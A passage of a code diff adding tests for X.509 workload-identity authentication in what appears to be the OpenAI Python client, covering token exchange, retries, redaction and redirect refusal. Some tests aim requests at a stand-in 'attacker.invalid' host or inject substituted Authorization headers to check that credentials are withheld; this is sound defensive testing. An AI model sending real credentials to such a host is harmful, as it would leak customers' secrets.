+ client.get("/organization/projects", cast_to=object, options={"security": {"admin_api_key_auth": True}})
+ with pytest.raises(OpenAIError, match="origin"):
+ client.get(
+ "https://attacker.invalid/organization/projects",
+ cast_to=object,
+ options={"security": {"admin_api_key_auth": True}},
+ )
+
+ assert len(requests) == 3
+ assert requests[0].headers.get("Authorization") is None
+ assert requests[1].headers["Authorization"] == "Bearer trusted-token"
+ assert requests[2].headers["Authorization"] == "Bearer admin-customer-secret"
+
+
+async def test_async_x509_keeps_supported_admin_credentials_separate() -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ admin_api_key="admin-customer-secret",
+ http_client=http_client,
+ max_retries=0,
+ ) as client:
+ await client.models.list()
+ await client.get("/organization/projects", cast_to=object, options={"security": {"admin_api_key_auth": True}})
+ with pytest.raises(OpenAIError, match="origin"):
+ await client.get(
+ "https://attacker.invalid/organization/projects",
+ cast_to=object,
+ options={"security": {"admin_api_key_auth": True}},
+ )
+
+ assert len(requests) == 3
+ assert requests[0].headers.get("Authorization") is None
+ assert requests[1].headers["Authorization"] == "Bearer trusted-token"
+ assert requests[2].headers["Authorization"] == "Bearer admin-customer-secret"
+
+
+@pytest.mark.parametrize("authorization", ["Basic Y3VzdG9tZXI6c2VjcmV0", "Bearer substituted-admin-secret"])
+def test_sync_x509_rejects_hook_overriding_separate_admin_authorization(authorization: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def hook(request: httpx2.Request) -> None:
+ request.headers["Authorization"] = authorization
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ with OpenAI(
+ workload_identity=_identity(),
+ admin_api_key="expected-admin-secret",
+ http_client=http_client,
+ max_retries=0,
+ ) as client:
+ with pytest.raises(OpenAIError, match="authorization"):
+ client.get("/organization/projects", cast_to=object, options={"security": {"admin_api_key_auth": True}})
+
+ assert requests == []
+
+
+@pytest.mark.parametrize("authorization", ["Basic Y3VzdG9tZXI6c2VjcmV0", "Bearer substituted-admin-secret"])
+async def test_async_x509_rejects_hook_overriding_separate_admin_authorization(authorization: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def hook(request: httpx2.Request) -> None:
+ request.headers["Authorization"] = authorization
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ admin_api_key="expected-admin-secret",
+ http_client=http_client,
+ max_retries=0,
+ ) as client:
+ with pytest.raises(OpenAIError, match="authorization"):
+ await client.get(
+ "/organization/projects", cast_to=object, options={"security": {"admin_api_key_auth": True}}
+ )
+
+ assert requests == []
+
+
+@pytest.mark.parametrize("client_type", [AzureOpenAI, AsyncAzureOpenAI])
+def test_azure_constructors_reject_x509_instead_of_downgrading_to_api_key(
+ client_type: type[AzureOpenAI] | type[AsyncAzureOpenAI],
+) -> None:
+ constructor = cast(Callable[..., object], client_type)
+ with pytest.raises(OpenAIError, match="X.509 workload identity is not supported by Azure clients"):
+ constructor(
+ api_version="2024-02-01",
+ api_key="azure-customer-secret",
+ azure_endpoint="https://example-resource.azure.openai.com",
+ workload_identity=_identity(),
+ )
+
+
+@pytest.mark.parametrize(
+ "base_url,url",
+ [
+ ("https://MTLS.API.OPENAI.COM/v1", "https://mtls.api.openai.com/v1/models"),
+ ("https://mtls.api.openai.com:443/v1", "https://MTLS.API.OPENAI.COM/v1/models"),
+ ("https://custom.example:8443/v1", "https://custom.example:8443/v1/models"),
+ ],
+)
+def test_sync_x509_accepts_normalized_trusted_origin(base_url: str, url: str) -> None:
+ http_client = httpx2.Client(transport=httpx2.MockTransport(_response), trust_env=False)
+ with OpenAI(workload_identity=_identity(), base_url=base_url, http_client=http_client, max_retries=0) as client:
+ assert client.get(url, cast_to=object) is not None
+
+
+@pytest.mark.parametrize(
+ "base_url,url",
+ [
+ ("https://MTLS.API.OPENAI.COM/v1", "https://mtls.api.openai.com/v1/models"),
+ ("https://mtls.api.openai.com:443/v1", "https://MTLS.API.OPENAI.COM/v1/models"),
+ ("https://custom.example:8443/v1", "https://custom.example:8443/v1/models"),
+ ],
+)
+async def test_async_x509_accepts_normalized_trusted_origin(base_url: str, url: str) -> None:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(
+ workload_identity=_identity(), base_url=base_url, http_client=http_client, max_retries=0
+ ) as client:
+ assert await client.get(url, cast_to=object) is not None
diff --git a/tests/test_x509_workload_identity.py b/tests/test_x509_workload_identity.py
new file mode 100644
index 0000000000..83a56eaf3a
--- /dev/null
+++ b/tests/test_x509_workload_identity.py
@@ -0,0 +1,842 @@
+from __future__ import annotations
+
+import io
+import os
+import ssl
+import json
+import runpy
+import asyncio
+import inspect
+import logging
+import importlib
+import threading
+from typing import Any, Callable, Iterable, Iterator, AsyncIterator, cast
+from pathlib import Path
+from typing_extensions import override
+from concurrent.futures import ThreadPoolExecutor
+
+import anyio
+import httpx2
+import pytest
+
+import openai.auth._x509 as x509_auth
+from openai import OpenAI, OAuthError, AsyncOpenAI, OpenAIError, APIStatusError, APITimeoutError, APIConnectionError
+from openai.auth import X509WorkloadIdentity, x509_workload_identity
+from openai._client import WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER
+
+_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token"
+_API_URL = "https://mtls.api.openai.com/v1/models"
+_MTLS_FIXTURES = Path(__file__).parent / "fixtures" / "mtls"
+
+
+def _identity(**kwargs: Any) -> X509WorkloadIdentity:
+ return x509_workload_identity(
+ identity_provider_id="idp_123",
+ service_account_id="svc_acct_123",
+ **kwargs,
+ )
+
+
+def _token_response(
+ request: httpx2.Request, *, token: str = "access-token", expires_in: object = 3600
+) -> httpx2.Response:
+ return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": expires_in})
+
+
+def _models_response(request: httpx2.Request, status_code: int = 200) -> httpx2.Response:
+ return httpx2.Response(status_code, request=request, json={"object": "list", "data": []})
+
+
+def test_x509_helper_returns_only_typed_identity_configuration() -> None:
+ assert _identity() == {
+ "type": "x509",
+ "identity_provider_id": "idp_123",
+ "service_account_id": "svc_acct_123",
+ }
+ assert _identity(refresh_buffer_seconds=45.0).get("refresh_buffer_seconds") == 45.0
+ assert "token_exchange_url" not in inspect.signature(x509_workload_identity).parameters
+
+
+@pytest.mark.parametrize("invalid_key", ["provider", "client_id"])
+def test_x509_rejects_subject_token_configuration(invalid_key: str) -> None:
+ identity = cast(X509WorkloadIdentity, {**_identity(), invalid_key: "not-allowed"})
+ with pytest.raises(OpenAIError, match="does not accept a subject-token provider or client ID"):
+ OpenAI(workload_identity=identity)
+
+
+@pytest.mark.parametrize(
+ "invalid_key",
+ ["certificate", "certificate_chain", "private_key", "password", "subject_token", "token_exchange_url"],
+)
+def test_x509_rejects_certificate_and_token_material_without_leaking_it(invalid_key: str) -> None:
+ secret = "certificate-or-token-material-never-visible"
+ identity = cast(X509WorkloadIdentity, {**_identity(), invalid_key: secret})
+ with pytest.raises(OpenAIError, match="only identity IDs and an optional refresh buffer") as error:
+ OpenAI(workload_identity=identity)
+ assert secret not in str(error.value)
+
+
+@pytest.mark.parametrize("refresh_buffer", [-1.0, float("inf"), float("nan"), True, 10**400])
+def test_x509_rejects_invalid_refresh_buffer(refresh_buffer: float) -> None:
+ with pytest.raises(OpenAIError, match="finite, non-negative refresh buffer"):
+ OpenAI(workload_identity=_identity(refresh_buffer_seconds=refresh_buffer))
+
+
+def test_sync_x509_uses_one_transport_pinned_endpoint_and_cached_token() -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return _token_response(request)
+ return _models_response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ client = OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0)
+ assert requests == []
+ assert str(client.base_url) == "https://mtls.api.openai.com/v1/"
+
+ assert client.models.list().object == "list"
+ assert client.models.list().object == "list"
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL, _API_URL]
+ assert json.loads(requests[0].content) == {
+ "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
+ "subject_token_type": "urn:openai:params:oauth:token-type:x509",
+ "identity_provider_id": "idp_123",
+ "service_account_id": "svc_acct_123",
+ }
+ assert "subject_token" not in json.loads(requests[0].content)
+ assert [request.headers["authorization"] for request in requests[1:]] == ["Bearer access-token"] * 2
+ assert not http_client.is_closed
+ client.close()
+
+
+def test_sync_x509_does_not_mutate_or_independently_close_caller_transport() -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return _token_response(request) if str(request.url) == _TOKEN_URL else _models_response(request)
+
+ tls_context = ssl.create_default_context(cafile=_MTLS_FIXTURES / "root.pem")
+ tls_context.load_cert_chain(_MTLS_FIXTURES / "client-chain.pem", _MTLS_FIXTURES / "client.key")
+ transport = httpx2.MockTransport(handler)
+ http_client = httpx2.Client(transport=transport, verify=tls_context, follow_redirects=True, trust_env=False)
+ initial_timeout = http_client.timeout
+ initial_headers = dict(http_client.headers)
+
+ client = OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0)
+ assert client.models.list().object == "list"
+ assert http_client._transport is transport
+ assert http_client.follow_redirects is True
+ assert http_client.timeout == initial_timeout
+ assert dict(http_client.headers) == initial_headers
+ assert not http_client.is_closed
+ auth = client._workload_identity_auth
+ assert auth is not None
+ assert all(not isinstance(value, ssl.SSLContext) for value in vars(auth).values())
+
+ client.close()
+ assert http_client.is_closed
+
+
+async def test_async_x509_uses_one_transport_without_threaded_exchange(monkeypatch: pytest.MonkeyPatch) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return _token_response(request)
+ return _models_response(request)
+
+ async def reject_thread(*_args: Any, **_kwargs: Any) -> Any:
+ raise AssertionError("X.509 exchange must not use a worker thread")
+
+ monkeypatch.setattr("openai.auth._workload.to_thread", reject_thread)
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert requests == []
+ assert str(client.base_url) == "https://mtls.api.openai.com/v1/"
+ assert (await client.models.list()).object == "list"
+ assert (await client.models.list()).object == "list"
+ assert not http_client.is_closed
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL, _API_URL]
+ assert "subject_token" not in json.loads(requests[0].content)
+
+
+async def test_async_x509_does_not_mutate_or_independently_close_caller_transport() -> None:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ return _token_response(request) if str(request.url) == _TOKEN_URL else _models_response(request)
+
+ tls_context = ssl.create_default_context(cafile=_MTLS_FIXTURES / "root.pem")
+ tls_context.load_cert_chain(_MTLS_FIXTURES / "client-chain.pem", _MTLS_FIXTURES / "client.key")
+ transport = httpx2.MockTransport(handler)
+ http_client = httpx2.AsyncClient(transport=transport, verify=tls_context, follow_redirects=True, trust_env=False)
+ initial_timeout = http_client.timeout
+ initial_headers = dict(http_client.headers)
+
+ client = AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0)
+ assert (await client.models.list()).object == "list"
+ assert http_client._transport is transport
+ assert http_client.follow_redirects is True
+ assert http_client.timeout == initial_timeout
+ assert dict(http_client.headers) == initial_headers
+ assert not http_client.is_closed
+ auth = client._workload_identity_auth
+ assert auth is not None
+ assert all(not isinstance(value, ssl.SSLContext) for value in vars(auth).values())
+
+ await client.close()
+ assert http_client.is_closed
+
+
+@pytest.mark.parametrize("base_url", ["https://custom.example/v1", "https://eu.api.openai.com/v1"])
+def test_x509_preserves_explicit_base_url(base_url: str) -> None:
+ client = OpenAI(workload_identity=_identity(), base_url=base_url)
+ assert str(client.base_url) == f"{base_url}/"
+ client.close()
+
+
+def test_x509_preserves_environment_base_url(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("OPENAI_BASE_URL", "https://custom.example/v1")
+ client = OpenAI(workload_identity=_identity())
+ assert str(client.base_url) == "https://custom.example/v1/"
+ client.close()
+
+
+def test_api_key_clients_keep_ordinary_api_endpoint() -> None:
+ with OpenAI(api_key="ordinary-api-key") as client:
+ assert str(client.base_url) == "https://api.openai.com/v1/"
+
+
+@pytest.mark.parametrize("expires_in", [0, -1, True, "3600", None, 10**400])
+def test_x509_rejects_nonpositive_or_nonnumeric_expiration(expires_in: object) -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return _token_response(request, expires_in=expires_in)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="expires_in"):
+ client.models.list()
+
+
+def test_x509_short_lived_token_clamps_refresh_buffer_to_half_ttl() -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return _token_response(request, expires_in=8) if str(request.url) == _TOKEN_URL else _models_response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(refresh_buffer_seconds=1200), http_client=http_client) as client:
+ client.models.list()
+ auth = client._workload_identity_auth
+ assert auth is not None
+ assert auth._cached_token_expires_at_monotonic is not None
+ assert auth._cached_token_refresh_at_monotonic is not None
+ assert abs(auth._cached_token_expires_at_monotonic - auth._cached_token_refresh_at_monotonic - 4.0) < 0.001
+
+
+@pytest.mark.parametrize("deadline", ["_cached_token_expires_at_monotonic", "_cached_token_refresh_at_monotonic"])
+def test_sync_x509_refreshes_expired_or_proactively_stale_token(deadline: str) -> None:
+ token_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal token_count
+ if str(request.url) == _TOKEN_URL:
+ token_count += 1
+ return _token_response(request, token=f"token-{token_count}")
+ return _models_response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ client.models.list()
+ auth = client._workload_identity_auth
+ assert auth is not None
+ setattr(auth, deadline, 0.0)
+ client.models.list()
+
+ assert token_count == 2
+
+
+@pytest.mark.parametrize("deadline", ["_cached_token_expires_at_monotonic", "_cached_token_refresh_at_monotonic"])
+async def test_async_x509_refreshes_expired_or_proactively_stale_token(deadline: str) -> None:
+ token_count = 0
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal token_count
+ if str(request.url) == _TOKEN_URL:
+ token_count += 1
+ return _token_response(request, token=f"token-{token_count}")
+ return _models_response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ await client.models.list()
+ auth = client._workload_identity_auth
+ assert auth is not None
+ setattr(auth, deadline, 0.0)
+ await client.models.list()
+
+ assert token_count == 2
+
+
+def test_sync_x509_concurrent_requests_share_one_exchange() -> None:
+ exchange_calls = 0
+ lock = threading.Lock()
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ with lock:
+ exchange_calls += 1
+ threading.Event().wait(0.03)
+ return _token_response(request)
+ return _models_response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+
+ def list_models(_: int) -> str:
+ return client.models.list().object
+
+ with ThreadPoolExecutor(max_workers=8) as executor:
+ assert list(executor.map(list_models, range(8))) == ["list"] * 8
+
+ assert exchange_calls == 1
+
+
+async def test_async_x509_concurrent_requests_share_one_exchange() -> None:
+ exchange_calls = 0
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ await anyio.sleep(0.03)
+ return _token_response(request)
+ return _models_response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ responses = await asyncio.gather(*(client.models.list() for _ in range(8)))
+
+ assert [response.object for response in responses] == ["list"] * 8
+ assert exchange_calls == 1
+
+
+async def test_async_x509_cancelled_waiter_does_not_cancel_shared_refresh() -> None:
+ exchange_started = anyio.Event()
+ finish_exchange = anyio.Event()
+ exchange_calls = 0
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ exchange_started.set()
+ await finish_exchange.wait()
+ return _token_response(request)
+ return _models_response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+
+ async def list_models() -> str:
+ return (await client.models.list()).object
+
+ owner = asyncio.create_task(list_models())
+ await exchange_started.wait()
+ waiter = asyncio.create_task(list_models())
+ await anyio.sleep(0)
+ waiter.cancel()
+ await asyncio.gather(waiter, return_exceptions=True)
+ assert waiter.cancelled()
+ finish_exchange.set()
+ assert await owner == "list"
+ assert (await client.models.list()).object == "list"
+
+ assert exchange_calls == 1
+
+
+async def test_async_x509_cancelled_refresh_owner_releases_waiters() -> None:
+ exchange_started = anyio.Event()
+ exchange_calls = 0
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ if exchange_calls == 1:
+ exchange_started.set()
+ await anyio.Event().wait()
+ return _token_response(request)
+ return _models_response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+
+ async def list_models() -> str:
+ return (await client.models.list()).object
+
+ owner = asyncio.create_task(list_models())
+ await exchange_started.wait()
+ waiter = asyncio.create_task(list_models())
+ await anyio.sleep(0)
+ owner.cancel()
+ await asyncio.gather(owner, return_exceptions=True)
+ assert owner.cancelled()
+ assert await waiter == "list"
+
+ assert exchange_calls == 2
+
+
+@pytest.mark.parametrize("status_code", [408, 409, 429, 500, 503])
+def test_sync_x509_retries_transient_exchange_and_honors_retry_after(
+ status_code: int, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ exchange_calls = 0
+ delays: list[float] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) != _TOKEN_URL:
+ return _models_response(request)
+ exchange_calls += 1
+ if exchange_calls == 1:
+ return httpx2.Response(status_code, request=request, headers={"retry-after": "0.25"})
+ return _token_response(request)
+
+ monkeypatch.setattr(x509_auth.time, "sleep", delays.append)
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=2) as client:
+ assert client.models.list().object == "list"
+
+ assert exchange_calls == 2
+ assert delays == [0.25]
+
+
+async def test_async_x509_retries_transient_exchange() -> None:
+ exchange_calls = 0
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) != _TOKEN_URL:
+ return _models_response(request)
+ exchange_calls += 1
+ if exchange_calls == 1:
+ return httpx2.Response(429, request=request, headers={"retry-after": "0"})
+ return _token_response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=2) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert exchange_calls == 2
+
+
+async def test_async_x509_honors_retry_after_without_blocking(monkeypatch: pytest.MonkeyPatch) -> None:
+ exchange_calls = 0
+ delays: list[float] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) != _TOKEN_URL:
+ return _models_response(request)
+ exchange_calls += 1
+ if exchange_calls == 1:
+ return httpx2.Response(429, request=request, headers={"retry-after": "0.25"})
+ return _token_response(request)
+
+ async def record_sleep(delay: float) -> None:
+ delays.append(delay)
+
+ monkeypatch.setattr(x509_auth.anyio, "sleep", record_sleep)
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=2) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert delays == [0.25]
+
+
+def test_x509_exchange_retries_are_bounded(monkeypatch: pytest.MonkeyPatch) -> None:
+ exchange_calls = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ exchange_calls += 1
+ return httpx2.Response(503, request=request)
+
+ def skip_sleep(_: float) -> None:
+ return None
+
+ monkeypatch.setattr(x509_auth.time, "sleep", skip_sleep)
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=20) as client:
+ with pytest.raises(OpenAIError, match="status 503"):
+ client.models.list()
+
+ assert exchange_calls == 3
+
+
+@pytest.mark.parametrize(
+ ("failure", "expected_error"),
+ [(httpx2.ConnectError, APIConnectionError), (httpx2.ReadTimeout, APITimeoutError)],
+)
+def test_x509_connection_retries_are_bounded_without_outer_api_retries(
+ failure: type[httpx2.TransportError], expected_error: type[APIConnectionError], monkeypatch: pytest.MonkeyPatch
+) -> None:
+ exchange_calls = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ exchange_calls += 1
+ raise failure("exchange unavailable", request=request)
+
+ def skip_sleep(_: float) -> None:
+ return None
+
+ monkeypatch.setattr(x509_auth.time, "sleep", skip_sleep)
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=20) as client:
+ with pytest.raises(expected_error) as error:
+ client.models.list()
+
+ assert isinstance(error.value.__cause__, failure)
+ assert exchange_calls == 3
+
+
+async def test_async_x509_exchange_connection_error_preserves_original_cause() -> None:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ raise httpx2.ConnectError("exchange unavailable", request=request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIConnectionError) as error:
+ await client.models.list()
+
+ assert isinstance(error.value.__cause__, httpx2.ConnectError)
+
+
+@pytest.mark.parametrize("status_code", [400, 401, 403])
+def test_x509_does_not_retry_oauth_failures(status_code: int) -> None:
+ exchange_calls = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ exchange_calls += 1
+ return httpx2.Response(status_code, request=request, json={"error": "invalid_grant"})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=2) as client:
+ with pytest.raises(OAuthError):
+ client.models.list()
+
+ assert exchange_calls == 1
+
+
+@pytest.mark.parametrize("status_code", [400, 401, 403])
+def test_x509_oauth_errors_redact_untrusted_descriptions(status_code: int, caplog: pytest.LogCaptureFixture) -> None:
+ token_secret = "bearer-token-never-visible"
+ certificate_secret = "certificate-subject-never-visible"
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(
+ status_code,
+ request=request,
+ json={
+ "error": "invalid_grant",
+ "error_description": f"{token_secret} {certificate_secret}",
+ "access_token": token_secret,
+ },
+ )
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with caplog.at_level(logging.DEBUG):
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=2) as client:
+ with pytest.raises(OAuthError) as error:
+ client.models.list()
+
+ assert error.value.error == "invalid_grant"
+ assert error.value.body == {"error": "invalid_grant"}
+ assert token_secret not in str(error.value)
+ assert certificate_secret not in str(error.value)
+ assert token_secret not in caplog.text
+ assert certificate_secret not in caplog.text
+
+
+def test_x509_success_logs_and_auth_repr_do_not_leak_tokens(caplog: pytest.LogCaptureFixture) -> None:
+ token_secret = "bearer-token-never-visible"
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return (
+ _token_response(request, token=token_secret)
+ if str(request.url) == _TOKEN_URL
+ else _models_response(request)
+ )
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with caplog.at_level(logging.DEBUG):
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+ assert token_secret not in repr(client._workload_identity_auth)
+
+ assert token_secret not in caplog.text
+
+
+def test_x509_never_falls_back_to_environment_api_key(monkeypatch: pytest.MonkeyPatch) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv("OPENAI_API_KEY", "api-key-never-used")
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(401, request=request, json={"error": "invalid_grant"})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OAuthError):
+ client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+def test_x509_refuses_exchange_redirects_even_when_transport_follows_them() -> None:
+ urls: list[str] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ urls.append(str(request.url))
+ return httpx2.Response(302, request=request, headers={"location": "https://other.example/oauth/token"})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), follow_redirects=True, trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="status 302"):
+ client.models.list()
+
+ assert urls == [_TOKEN_URL]
+
+
+def test_x509_refuses_api_redirects_even_when_transport_follows_them() -> None:
+ urls: list[str] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ urls.append(str(request.url))
+ if str(request.url) == _TOKEN_URL:
+ return _token_response(request)
+ return httpx2.Response(302, request=request, headers={"location": "https://other.example/v1/models"})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), follow_redirects=True, trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIStatusError):
+ client.models.list()
+
+ assert urls == [_TOKEN_URL, _API_URL]
+
+
+def test_sync_x509_retries_replayable_401_request_once() -> None:
+ requests: list[httpx2.Request] = []
+ api_authorizations: list[str] = []
+ token_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal token_count
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ token_count += 1
+ return _token_response(request, token=f"token-{token_count}")
+ api_authorizations.append(request.headers["authorization"])
+ return _models_response(request, 401 if token_count == 1 else 200)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL, _TOKEN_URL, _API_URL]
+ assert api_authorizations == ["Bearer token-1", "Bearer token-2"]
+
+
+async def test_async_x509_retries_replayable_401_request_once() -> None:
+ api_authorizations: list[str] = []
+ token_count = 0
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal token_count
+ if str(request.url) == _TOKEN_URL:
+ token_count += 1
+ return _token_response(request, token=f"token-{token_count}")
+ api_authorizations.append(request.headers["authorization"])
+ return _models_response(request, 401 if token_count == 1 else 200)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert api_authorizations == ["Bearer token-1", "Bearer token-2"]
+
+
+@pytest.mark.parametrize("seekable", [True, False])
+def test_sync_x509_401_retries_only_replayable_uploads(seekable: bool) -> None:
+ requests: list[httpx2.Request] = []
+
+ class Upload(io.BytesIO):
+ @override
+ def seekable(self) -> bool:
+ return seekable
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return _token_response(request, token=f"token-{len(requests)}")
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIStatusError):
+ client.files.create(file=("document.txt", Upload(b"contents")), purpose="assistants")
+
+ assert len(requests) == (4 if seekable else 2)
+
+
+def test_sync_x509_rewinds_seekable_request_stream_to_its_original_position() -> None:
+ request_bodies: list[bytes] = []
+ token_count = 0
+
+ class StreamingTransport(httpx2.BaseTransport):
+ @override
